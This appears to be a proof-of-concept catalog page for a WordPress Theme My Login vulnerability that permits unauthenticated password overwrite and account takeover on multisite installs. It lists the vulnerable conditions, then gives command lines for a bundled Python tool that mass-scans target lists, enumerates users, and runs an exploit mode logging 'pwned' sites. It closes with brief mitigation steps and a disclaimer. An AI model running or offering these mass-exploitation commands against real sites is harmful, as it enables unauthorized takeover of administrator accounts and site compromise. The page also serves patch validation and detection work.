CVE-2026-89079 — Theme My Login WordPress Multisite Unauthenticated Password Overwrite (ATO)

Overview

CVE-2026-89079 — Theme My Login WordPress plugin — unauthenticated account takeover on WordPress multisite when network option tml_user_passwords is enabled (CWE-269).

| | | |---|---| | Affected | ≤ 7.2.1 | | Fixed | 7.2.2+ (commit 06b7623) | | CVSS 3.1 | 9.8 Critical | | Plugin | theme-my-login |

Version scan alone is not enough. All must hold:

1. is_multisite() — ms-hooks.php path (not single-site TML /register/ false positives).
2. get_site_option('tml_user_passwords') — network “user-chosen registration passwords”.
3. Theme My Login ≤ 7.2.1 — tml_ms_filter_pre_insert_user_data() applies $_POST['user_pass1'] during retrieve_password() → wp_update_user().

checkemail=confirm after lost-password POST does not prove exploit success — normal WordPress when the vulnerable filter is inactive.

PoC page: https://pocbit.org/pocs/cve-2026-89079

GitHub: murrez/CVE-2026-89079

CVE.org: CVE-2026-89079

Bundled tool (Python 3)

Download cve-2026-89079.py — writes poc.py, tml_core.py, tests/, lab/README.md.

python cve-2026-89079.py
pip install -r requirements.txt

python poc.py --check https://target.example.com
python poc.py -f targets.example.txt --mode check -j 30 -q
python poc.py -f targets.example.txt --mode check --enum-users -j 30

python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q

python -m unittest discover -s tests -v

Check outputs: cve_2026_89079_results.jsonl, cve_2026_89079_vuln.txt, cve_2026_89079_eligible.txt. Exploit: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt.

Useful flags: --verify-only, --only-eligible, --require-user-passwords, --no-require-multisite (see README).

Mitigation

1. Upgrade Theme My Login to ≥ 7.2.2 on the network.
2. Disable tml_user_passwords or the plugin until patched.
3. Alert on unauthenticated lost-password POSTs containing user_pass1.

Legal and ethical use

Authorized security research and patch validation only.

References

• NVD — CVE-2026-89079
• WordPress.org changeset 3696081
• PoCbit catalog
• GitHub PoC — CVE-2026-89079